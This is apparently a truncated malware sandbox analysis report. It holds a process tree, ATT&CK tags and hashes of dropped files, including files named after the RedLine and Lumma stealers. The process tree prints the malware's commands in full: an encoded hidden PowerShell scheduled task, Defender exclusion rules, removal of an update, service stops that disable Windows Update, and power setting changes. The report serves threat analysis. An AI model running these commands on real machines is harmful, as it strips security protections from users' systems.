                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:3824
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:3756
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                            PID:2160
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                PID:1860
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "gBaxREWWY" /SC once /ST 00:14:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:2388
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /run /I /tn "gBaxREWWY"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:3212
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "gBaxREWWY"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:3708
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\C1BA.bat" "
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:3696
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                                                            reg add "HKEY_CURRENT_USER\Software\clicker\key" /v primary /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:3960
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\makecab.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240514010344.log C:\Windows\Logs\CBS\CbsPersist_20240514010344.cab
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:3504
                                                                                                                                                                                                                                                                                            • C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                                                                              C:\ProgramData\Google\Chrome\updater.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:2144
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                  PID:1848
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:2452
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                                                                      wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:3712
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:2940
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:3936
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:3092
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:344
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                      • Launches sc.exe
                                                                                                                                                                                                                                                                                                      PID:3924
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:3136
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:1492
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:1912
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:3604
                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:2268
                                                                                                                                                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                explorer.exe
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:2284
                                                                                                                                                                                                                                                                                                              • C:\ProgramData\wikombernizc\reakuqnanrkn.exe
                                                                                                                                                                                                                                                                                                                C:\ProgramData\wikombernizc\reakuqnanrkn.exe
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:3788
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                    PID:3608
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:1832
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\wusa.exe
                                                                                                                                                                                                                                                                                                                        wusa /uninstall /kb:890830 /quiet /norestart
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                          PID:2788
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop UsoSvc
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:3364
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop WaaSMedicSvc
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:1936
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop wuauserv
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:3848
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop bits
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:2544
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\sc.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\sc.exe stop dosvc
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                        • Launches sc.exe
                                                                                                                                                                                                                                                                                                                        PID:1748
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                          PID:888
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                            PID:3160
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                              PID:3924
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\powercfg.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:1672
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\conhost.exe
                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                  PID:3916
                                                                                                                                                                                                                                                                                                                                • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                                                                                                  explorer.exe
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                    PID:1584

                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  288KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  e1908caab6f938404af85a7df0f80f877a4d9ee6

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  13.2MB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  72b396a9053dff4d804e07ee1597d5e3

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  5ec4fefa66771613433c17c11545c6161e1552d5

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  d0b206f0f47a9f8593b6434dc27dadde8480a902e878882fa8c73fc7fe01b11d

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  ad96c9ca2feae7af7fcf01a843d5aa6cbdde0520d68dedff44554a17639c6c66b2301d73daf272708cb76c22eae2d5c89db23af45105c4f0e35f4787f98e192b

                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\installc.bat

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  301B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  998ab24316795f67c26aca0f1b38c8ce

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  a2a6dc94e08c086fe27f8c08cb8178e7a64f200d

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\installg.bat

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  284B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  5dee3cbf941c5dbe36b54690b2a3c240

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

                                                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\installm.bat

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  218B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  94b87b86dc338b8f0c4e5869496a8a35

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  2584e6496d048068f61ac72f5c08b54ad08627c3

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  2928d8e9a41f39d3802cfd2900d8edeb107666baa942d9c0ffbfd0234b5e5bfc

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  b67eb73fe51d4dba990789f1e0123e902dac6d26569851c3d51ca0a575221ce317f973999d962669016017d8f81a01f11bd977609e66bb1b244334bce2db5d5d

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  68KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  29f65ba8e88c063813cc50a4ea544e93

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  05a7040d5c127e68c25d81cc51271ffb8bef3568

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  893B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  d4ae187b4574036c2d76b6df8a8c1a30

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  b06f409fa14bab33cbaf4a37811b8740b624d9e5

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  a2ce3a0fa7d2a833d1801e01ec48e35b70d84f3467cc9f8fab370386e13879c7

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  1f44a360e8bb8ada22bc5bfe001f1babb4e72005a46bc2a94c33c4bd149ff256cce6f35d65ca4f7fc2a5b9e15494155449830d2809c8cf218d0b9196ec646b0c

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  344B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  0be08ef8422953f1ff293b0dff0457c0

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  a3e7066c19d29e88c4f0acbe598c1f731c391a84

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  f41a8d7a06aa71397efb2167cea555f0d3285a1b14ce70eee36a1df13805cfec

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  7b3a467e36d00fcc4220897a31e2f915fc820e4d173a7d1c3923483bd6033aa3143bb7380dff7c49d7e1e4a298a92adec0dfdecef9d78ba50ba1c52d1400dd15

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  344B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  0ae76bb8c8863b3fced972f129d44167

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  62a2e6aed2e5d3c5e30629e3b2fa36edc80d3c21

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  910ee45542239f5aad8d2efc4d9948be06a41e35853a46c2b2c2804f743ffdb9

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  5edb6b189af2538156c9952394e592c276706fff4ed12cd35e4b9f1f047dccbcd7ba9abc2d2f0f1056a2d7ea661d617b12e49cb145925ef0e50f807238c7e1b8

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  252B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  30b2df7d4cdffd12c9fea921b340e045

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  d48e708916f99e4456d43ffb03f0d5607119fcab

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  ba6569e5400014b55756e171a589fcc2e93dbe2fc97f4e3623c86adfa06aedf0

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  df8316a693e698f31c89fff79d7d777bc85e1e9cd428c5e4cae96956ca058eeaa6444090da357ae6910f9e17dac3c39c72387e59925f99856bc4f50dc1ae6090

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\[email protected]

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  654B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  5cdfc4b9de66db60219b702987b6884f

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  3f664159cd6af48abc3f4c4a2d0ec16ff715b208

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  9a52a5e9dcfcc59699cab7a8777c114d2b9685e68b00502c0bfb28b42ef3321d

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  3c14da8a340736a697b4b2188b1b250b7328278a11e3483cc684247a2c10fc2b69435013e2704275dae319d992a048ff66a074065e91e9a2f65cfbd24a874d1d

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\[email protected]\setup.ini

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  830B

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  a483da8b27289fc9cc49d6b17e61cbf6

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  2d4a5a704c2ff332df6436b7bcd16365f03c2a97

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  f7785d4e80691cb2bb59301fe8962e50862c44d8992a0e308f86689b7ee76911

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  e0d061a5ed7c7789d11331b192c0693e9a49398de371153d1d13a8b7a32ae7078ea103b03a535ebd0581f1d9d56bacf77b9e31f68ab1888663111e8d2afea0a9

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  2.7MB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  31841361be1f3dc6c2ce7756b490bf0f

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  ff2506641a401ac999f5870769f50b7326f7e4eb

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  222393a4ab4b2ae83ca861faee6df02ac274b2f2ca0bed8db1783dd61f2f37ee

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  53d66fa19e8db360042dadc55caaa9a1ca30a9d825e23ed2a58f32834691eb2aaaa27a4471e3fc4d13e201accc43160436ed0e9939df1cc227a62a09a2ae0019

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  402KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  7f981db325bfed412599b12604bd00ab

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  9f8a8fd9df3af3a4111e429b639174229c0c10cd

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  043839a678bed1b10be00842eae413f5ecd1cad7a0eaa384dd80bc1dcd31e69b

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  a5be61416bc60669523e15213098a6d3bb5a2393612b57863fedfa1ff974bc110e0b7e8aadc97d0c9830a80798518616f9edfb65ae22334a362a743b6af3a82d

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  304KB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  9faf597de46ed64912a01491fe550d33

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  49203277926355afd49393782ae4e01802ad48af

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  0854678d655668c8ebb949c990166e26a4c04aef4ecf0191a95693ca150a9715

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  ef8a7a8566eaf962c4e21d49d9c1583ed2cdc9c2751ce75133a9765d2fa6dc511fc6cc99ea871eb83d50bd08a31cb0b25c03f27b8e6f351861231910a6cf1a1e

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  4.2MB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  0f52e5e68fe33694d488bfe7a1a71529

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  11d7005bd72cb3fd46f24917bf3fc5f3203f361f

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  efd29c35766c607aa15d1cb83dec625739791b1616ad37d5b47e78cdb8a42ca8

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  238fbb1c04eef2f2005cb7abf0223e3cd062d9d2840966292e19dcaa495609e134a0bdc35389ae9925ecfc787a13772d3ac7b29058579f702bc849dd0343c400

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzhis.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1.0MB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  808c0214e53b576530ee5b4592793bb0

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  3fb03784f5dab1e99d5453664bd3169eff495c97

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  434b1a9bd966d204eef1f4cddb7b73a91ebc5aaf4ac9b4ddd999c6444d92eb61

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  2db3b4cb0233230e7c21cd820bde5de00286fbaedd3fe4dcefb6c66fe6867431f0ee1753fc18dcb89b2a18e888bd15d4d2de29b1d5cd93e425e3fcfe508c79c0

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                  1.2MB

                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                  56e7d98642cfc9ec438b59022c2d58d7

                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                  26526f702e584d8c8b629b2db5d282c2125665d7

                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                  a2aa61942bae116f8c855fda0e9a991dba92b3a1e2f147aee0e7e2be1bdea383

                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                  0be0b11de472029bd4e2268cddb5ddb381f7f275dfe50c47b9c836980e5cbfa7f71fe78804ef2180ee110ca9cf36944ec8b8b22babb31a1fc7a6585f79932a1f

                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\1000013001\file300un.exe

                                                                                                                                                                                                                                                                                                                                  Filesize

